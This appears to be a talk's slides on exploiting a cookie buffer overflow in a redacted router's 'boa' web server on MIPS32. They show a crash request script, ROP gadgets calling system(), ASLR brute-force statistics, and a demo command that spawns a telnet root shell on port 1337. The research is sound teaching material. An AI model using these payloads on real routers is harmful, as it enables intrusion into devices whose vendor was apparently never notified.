

# ÷ **Bypassing ASLR on MIPS32**

## **using simple mathematics**

*(aka bruteforce with elegance)*

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## Quick context: ASLR?

- **ASLR:** Address Space Layout Randomization
- Protects against exploits by making memory addresses unpredictable
- MIPS32: Embedded architecture used in routers, IoT devices, and more

## The target: <REDACTED>

- No contact has been made with the vendor (I have very little free time)
- I focus on the router's Web interface
- Accessing the router through the UART serial port allows control, debugging, and instrumentation

## Goals

1. Use *gdbserver* to instrument the target
2. Test exploitability through crash and analysis of registers altered by our payload
3. Construct a ROP chain to invoke `system()` when **ASLR turned off**
4. When **ASLR turned on**, use statistical analysis (  $\div$  operator) to predict addresses and bypass protection

## Instrument the target

- Debug for remote process */userfs/bin/boa*
  - Set up HTTP server on host to serve the debugger for download

On the host:

```
python3 -m http.server
```

## Instrument the target

- Place the debugger on the target device
- Use command to attach the debugger to the target process

### On the target:

```
wget http://192.168.1.2:8000/gdbserver -o /tmp/gdbserver && chmod +x /tmp/gdbserver  
/tmp/gdbserver --attach 192.168.1.1:1337 $(ps|grep boa|grep -v grep|cut -d " " -f 1)
```

### On the host:

```
(gdb) target remote 192.168.1.1:1337  
(gdb) set follow-fork-mode child
```

## Crash and analysis of registers

- Verify exploitability of the vulnerability
  - Crash the process using the payload
  - Inspect registers modified by the payload
    - Use identifiable markers to determine offset values for register control ( `S0 = 68384268` )

```
>>> chr(0x68)+chr(0x38)+chr(0x42)+chr(0x68)
'h8Bh'
```

# Crash and analysis of registers

```
import socket

PAYLOAD = bytearray(
    b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" + \
    ... + \
    b"Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
)

request = b""
request += b"GET / HTTP/1.1\r\n"
request += b"Host: 192.168.1.1\r\n"
request += b"Cookie: SESSIONID=" + PAYLOAD + b"\n\n"
request += b"\r\n\r\n"
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fd.connect(("192.168.1.1", 80))
fd.send(request)
```



# ★ Crash and analysis of registers

```
(gdb) info reg
      zero      at      v0      v1      a0      a1      a2      a3
R0     00000000 181020e1 ffffffff 0000004b 7f996b00 00000001 00dc8e18 00000010
      t0      t1      t2      t3      t4      t5      t6      t7
R8     00000011 2b721668 00000001 ffffffff 00000025 ffffffff 0000002a 0000006d
      s0      s1      s2      s3      s4      s5      s6      s7
R16    68384268 39426930 42693142 69324269 33426934 42693542 69364269 37426938
      t8      t9      k0      k1      gp      sp      s8      ra
R24    00000030 00000000 7f996934 00000000 0045f6d0 7f9970d8 42693942 6a30426a
      status    lo      hi  badvaddr    cause    pc
      01000313 3141a400 00000755 6a30426a 10805010 6a30426a
      fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
      dspctl  restart
      00000000 00000000
```

# Crash and analysis of registers

s0	s1	s2	s3	s4	s5
68384268	39426930	42693142	69324269	33426934	42693542
h8Bh	9Bi0	Bi1B	i2Bi	3Bi4	Bi5B

s6	s7	s8	sp	ra
69364269	37426938	42693942	7fbedd58	6a30426a
i6Bi	7Bi8	Bi9B	0x7fbedd58 point to 0x31426a32 = 1Bj2	j0Bj

## ROP chain to invoke `system()`

- Identified ROP chain to call `system()` with controlled first argument
- Exploit bug using Ret2Libc technique: set `sp` in `a0` and call `system()`

```
objdump -D libc.so.0|grep system
```

```
0004683c <svcerr_systemerr>:
```

```
00059bb0 <__libc_system>:
```

59be4:	10800063	beqz	a0, 59d74 <__libc_system+0x1c4>
59c38:	04410010	bgez	v0, 59c7c <__libc_system+0xcc>
59c74:	1000003f	b	59d74 <__libc_system+0x1c4>
59c7c:	1440001b	bnez	v0, 59cec <__libc_system+0x13c>
59d2c:	14620002	bne	v1, v0, 59d38 <__libc_system+0x188>

# ROP chain to invoke `system()`

## Gadget 1: 0x0000c670

```
move $t9, $s1;           # t9 = s1
jalr $t9;                 # jalr t9
addiu $a1, $sp, 0xb8;     # a1 = sp + 0xb8
```

## Gadget 2: 0x00041980

```
move $a0, $a1;           # a0 = a1
addiu $a2, $zero, 0xc;    # a2 = 0xc
move $t9, $s0;           # t9 = s0
jalr $t9;                 # jalr t9
move $a1, $zero;          # a1 = 0
```

## Predict addresses and bypass protection

- Analyzed ASLR impact on libc's base address using iterative method
- Since *boa* auto-restarts on crash, repeat the following steps:
  - Kill the *boa* process to force restart

```
kill $(ps | grep boa | grep -v grep | cut -d " " -f 1)
```

- Retrieve libc base address from new process memory maps

```
cat /proc/$(ps | grep boa | grep -v grep | cut -d ' ' -f 1)/maps | grep "/lib/libc.so.0" | grep xp
```

# Predict addresses and bypass protection

- After multiple iterations, collected the following results:

```
2b12b000-2b192000 r-xp 00000000 1f:03 1169      /lib/libc.so.0
...
2b0cf000-2b136000 r-xp 00000000 1f:03 1169      /lib/libc.so.0
```

Segment	Value	Size	Description
Prefix	0x2b	1 byte	Fixed
First value	1	½ byte (nibble)	Random part
Second value	2	½ byte (nibble)	Random part
Third value	b	½ byte (nibble)	Random part
Suffix	000	1.5 bytes	Fixed

## **Predict addresses and bypass protection**

- Discovered libc's base address depends on only 3 random values (4,096 possibilities)
- Remaining address parts are fixed
- Multithreaded exploit can brute-force libc base address
  - Target binary is automatically restarted by the system after each crash
  - Allows multiple attempts in quick succession, increasing the chances of success



# Values distribution analysis

- Repeatedly launch and kill *boa* process to observe ASLR effects



## Dataset 1:

value	prefix
0x2a	44/256 (17.1875%)
0x2b	212/256 (82.8125%)



## Dataset 2:

value	prefix
0x2a	37/256 (14.453125%)
0x2b	219/256 (85.546875)





# Values distribution analysis (Dataset 1)


value	first value	second value	third value
0x0	13/256 (5.078125%)	16/256 (6.25%)	0/256 (0.0%)
0x1	19/256 (7.421875%)	13/256 (5.078125%)	26/256 (10.15625%)
0x2	12/256 (4.6875%)	20/256 (7.8125%)	0/256 (0.0%)
0x3	24/256 (9.375%)	12/256 (4.6875%)	41/256 (16.015625%)
0x4	18/256 (7.03125%)	21/256 (8.203125%)	0/256 (0.0%)
0x5	16/256 (6.25%)	25/256 (9.765625%)	33/256 (12.890625%)
0x6	14/256 (5.46875%)	15/256 (5.859375%)	0/256 (0.0%)
0x7	18/256 (7.03125%)	21/256 (8.203125%)	29/256 (11.328125%)
0x8	20/256 (7.8125%)	20/256 (7.8125%)	1/256 (0.390625%)
0x9	16/256 (6.25%)	8/256 (3.125%)	23/256 (8.984375%)
0xa	10/256 (3.90625%)	11/256 (4.296875%)	1/256 (0.390625%)
0xb	16/256 (6.25%)	13/256 (5.078125%)	24/256 (9.375%)
0xc	15/256 (5.859375%)	16/256 (6.25%)	1/256 (0.390625%)
0xd	18/256 (7.03125%)	17/256 (6.640625%)	31/256 (12.109375%)
0xe	18/256 (7.03125%)	17/256 (6.640625%)	2/256 (0.78125%)
0xf	9/256 (3.515625%)	11/256 (4.296875%)	44/256 (17.1875%)



# Values distribution analysis (Dataset 2)

value	first value	second value	third value
0x0	14/256 (5.46875%)	18/256 (7.03125%)	0/256 (0.0%)
0x1	17/256 (6.640625%)	17/256 (6.640625%)	35/256 (13.671875%)
0x2	15/256 (5.859375%)	18/256 (7.03125%)	0/256 (0.0%)
0x3	14/256 (5.46875%)	8/256 (3.125%)	26/256 (10.15625%)
0x4	17/256 (6.640625%)	12/256 (4.6875%)	1/256 (0.390625%)
0x5	15/256 (5.859375%)	14/256 (5.46875%)	23/256 (8.984375%)
0x6	20/256 (7.8125%)	16/256 (6.25%)	1/256 (0.390625%)
0x7	19/256 (7.421875%)	22/256 (8.59375%)	30/256 (11.71875%)
0x8	16/256 (6.25%)	12/256 (4.6875%)	0/256 (0.0%)
0x9	14/256 (5.46875%)	17/256 (6.640625%)	33/256 (12.890625%)
0xa	23/256 (8.984375%)	20/256 (7.8125%)	0/256 (0.0%)
0xb	16/256 (6.25%)	13/256 (5.078125%)	30/256 (11.71875%)
0xc	15/256 (5.859375%)	14/256 (5.46875%)	0/256 (0.0%)
0xd	24/256 (9.375%)	20/256 (7.8125%)	43/256 (16.796875%)
0xe	13/256 (5.078125%)	18/256 (7.03125%)	1/256 (0.390625%)
0xf	4/256 (1.5625%)	17/256 (6.640625%)	33/256 (12.890625%)

## Results analysis

- Based on observed probabilities, we can reduce the search space:
  -  From 4096 values to 1920 values
    - Prefix
      - High probability ( $> 80\%$ ) of prefix being `0x2b`
    - **1** First Value
      - Low probability ( $< 4\%$ ) of first value being `0xf`
    - **3** Third Value
      - Very low probability ( $\approx 0\%$ ) of third value being an even number

 Thank you!

```
~/Downloads — rlwrap nc 192.168.1.1 1337 — rlwrap — rlwrap nc 192.168.1.1 1337 ▸ nc
f4rr3l@diehard ~/Downloads
$ python3 exploit.py 192.168.1.1 80
[*] Brute forcing libc's bases address ...
[*] Checking if exploit succeed ...
[+] Exploit succeed:
    - Executed command: $(utelnetd -l/bin/sh -p1337)#
f4rr3l@diehard ~/Downloads
$ rlwrap nc 192.168.1.1 1337
??uname -a
uname -a
Linux tc 2.6.36 #4 SMP Thu Aug 6 10:17:47 CST 2020 mips unknown
# █
```

Any questions?



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46865722e